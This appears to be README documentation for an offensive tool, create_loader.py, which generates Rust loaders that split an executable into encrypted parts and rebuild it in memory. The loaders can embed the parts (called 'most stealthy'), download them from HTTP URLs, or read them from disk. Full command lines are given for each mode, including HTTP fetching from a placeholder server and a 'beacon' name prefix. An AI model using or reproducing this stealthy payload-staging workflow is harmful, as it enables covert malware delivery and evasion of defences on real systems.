Automated tool for generating standalone loaders with different distribution methods.
The create_loader.py script automates the creation of Rust-based loaders that can split, encrypt, and reconstruct binaries in memory. It generates complete Rust projects, manages the Cargo workspace, and compiles the final executables.
Creates a loader with all parts embedded directly in the binary. Most stealthy but results in larger binaries.
python scripts/create_loader.py embedded payload.exe --pieces 4 --password "secret"Creates a loader that downloads parts from HTTP URLs. Ideal for remote distribution.
python scripts/create_loader.py http payload.exe \
--urls "https://server.com/part{n}" \
--pieces 3 \
--password "secret"Creates a loader that reads parts from the local filesystem. Parts must be in the same directory as the loader.
python scripts/create_loader.py local payload.exe --pieces 4 --password "secret"# Basic usage (embedded mode by default)
python scripts/create_loader.py executable.exe
# With custom options
python scripts/create_loader.py embedded executable.exe \
--pieces 5 \
--password "MyPassword" \
--name "beacon" \
--output-dir "parts"
# HTTP loader with multiple URLs
python scripts/create_loader.py http executable.exe \
--urls "http://server.com/part000,http://server.com/part001" \
--pieces 2 \
--password "secret"--password, -p: Encryption password (default: "ChangeMe")--pieces, -p: Number of parts to split (default: 4)--name, -n: Name prefix for parts (default: "compact")--output-dir, -o: Output directory for parts (default: "tmp")--urls: Base URL(s) for HTTP mode (required for http mode)--timeout: HTTP timeout in seconds (default: 30, http mode only)--user-agent: User-Agent string (http mode only)
Generated loaders are compiled to:
target/release/embedded_loader.exetarget/release/http_loader.exetarget/release/local_loader.exe
The script automatically:
- Splits the binary into encrypted parts
- Generates Rust code for the loader
- Creates the crate structure
- Updates the Cargo workspace
- Compiles the loader
- Cleans up unused loaders from the workspace
- Split: Uses the
splittertool to divide the executable into encrypted parts - Generate: Creates a complete Rust project with loader code
- Build: Compiles the loader in release mode
- Cleanup: Removes unused loaders from the workspace
The generated loaders are standalone executables that can be distributed independently.
